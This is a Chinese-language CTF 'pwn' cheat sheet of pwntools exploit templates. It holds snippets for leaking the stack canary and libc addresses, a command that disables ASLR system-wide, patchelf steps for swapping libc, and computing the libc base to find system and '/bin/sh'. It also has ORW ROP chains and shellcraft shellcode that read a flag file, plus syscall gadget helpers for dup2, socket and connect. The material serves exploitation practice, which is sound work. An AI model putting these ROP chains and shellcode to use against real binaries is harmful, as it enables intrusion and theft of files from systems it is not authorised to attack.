templates
[TOC]
recv
- canary=int(sh.recvuntil(b"00").decode(),16)
- buffer= int(p.recv(14), 16) 两个十六进制是一个字节,但是printf函数打印是一个字符一个字符的打印,一个字符是一个字节,所以0x7ffec1484618也就是buffer的地址要接受14个字节
#关闭alsr sudo -s echo 0 > /proc/sys/kernel/randomize_va_space exit
patchelf
- 查看.so文件的版本:strings .so文件的路径 | grep “GLIBC”
- ldd pwn可以查看pwn文件的libc与ld文件
- patchelf做法 1.首先把pwn文件,libc文件,ld文件放在同一个文件夹 2.patchelf –replace-needed libc.so.6 /home/zp9080/PWN/libc.so.6 ./pwn 3.patchelf –set-interpreter /home/zp9080/PWN/ld-linux-x86-64.so.2 ./pwn 4.chmod +x /home/zp9080/PWN/ld-linux-x86-64.so.2 5.chmod +x pwn 这里的路径最好用绝对路径,不然必须在这个文件夹里才可以访问,相对路径是根据运行程序的时候shell所处的目录来的 4.给libc.so文件和ld文件x权限
libc
- puts_addr = u64(p.recvuntil(’\x7f’)[-6:].ljust(8, b’\x00’)) puts_addr=u64(io.recv(6).ljust(8,b’\x00’))
- 三种计算libc的解法
- libcbase = puts_addr - libc.symbols[‘puts’] system_addr = libcbase + libc.symbols[‘system’] bin_addr = libcbase + next(libc.search(b’/bin/sh’))
- libc = LibcSearcher(“puts”,puts_addr) libcbase = puts_addr - libc.dump(“puts”) system_addr = libcbase + libc.dump(“system”) bin_addr = libcbase + libc.dump(“str_bin_sh”)
- 查询libc后手动计算
orw
有时候flag=libcbase + next(libc.search(b’flag’))找到的不是flag字符串,而是flags或者别的,这时候要自己写入flag字符串
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx=libcbase+0x796a2
open_addr=libcbase+libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr=libcbase+libc.sym['write']
flag=libcbase + next(libc.search(b'flag'))
payload=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(write_addr)+p64(0xdeadbeef)
#orw的题目用open打开后文件描述符一般都是3,所以这里我也用3作为参数,结果远程环境不是3,
orw_shellcode= shellcraft.open('flag')
orw_shellcode += shellcraft.read(3,0x66660200,0x100)
orw_shellcode += shellcraft.write(1,0x66660200,0x100)
sh.send(asm(orw_shellcode))
libc.address = libc_base
libc_rop = ROP(libc)
pop_rax = libc_rop.find_gadget(['pop rax','ret'])[0]
pop_rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
pop_rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]
leave_ret = libc_rop.find_gadget(['leave','ret'])[0]
syscall_ret = libc_rop.find_gadget(['syscall','ret'])[0]
def syscall(rax=0, rdi=0, rsi=0, rdx=0):
pay = p64(pop_rax) + p64(rax)
pay += p64(pop_rdi) + p64(rdi)
pay += p64(pop_rsi) + p64(rsi)
pay += p64(pop_rdx) + p64(rdx) * 2
pay += p64(syscall_ret)
return pay
def read_(fd, buf, count): return syscall(0, fd, buf, count)
def write_(fd, buf, count): return syscall(1, fd, buf, count)
def open_(filename=0, modes=0, flags=0): return syscall(2, filename, modes, flags)
def dup2_(old_fd, new_fd): return syscall(33, old_fd, new_fd)
def socket_(domain=2,TYPE=1,protocol=6): return syscall(0x29,domain, TYPE, protocol)
def connect_(fd=0,addr=0,LEN=0x10): return syscall(0x2a,fd, addr, LEN)
python中处理word,dword,qword
- 处理两个字节,四个字节可以用如下方式,虽然python没有很细致的区分这些,但是可以通过如下方式处理
def calc_sum(payload):
res = 0
payload = b"fakeipheadfa" + payload
assert len(payload) % 2 == 0
for i in range(len(payload) // 2):
tmp = payload[2*i: 2*i+2]
tmp = int.from_bytes(tmp, "little")
res ^= tmp
return res